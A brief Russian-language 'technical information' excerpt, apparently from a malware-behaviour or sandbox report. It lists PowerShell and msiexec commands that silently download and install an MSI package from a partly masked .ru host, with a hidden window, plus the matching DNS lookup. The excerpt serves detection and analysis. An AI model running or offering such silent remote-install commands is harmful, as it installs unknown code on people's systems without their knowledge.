Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' msiexec /q /i http://bi###eupload.ru/jamesie23.msi
- DNS ASK bi###eupload.ru
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' msiexec /q /i http://bi###eupload.ru/jamesie23.msi' (со скрытым окном)
- '<SYSTEM32>\msiexec.exe' /q /i http://bi###eupload.ru/jamesie23.msi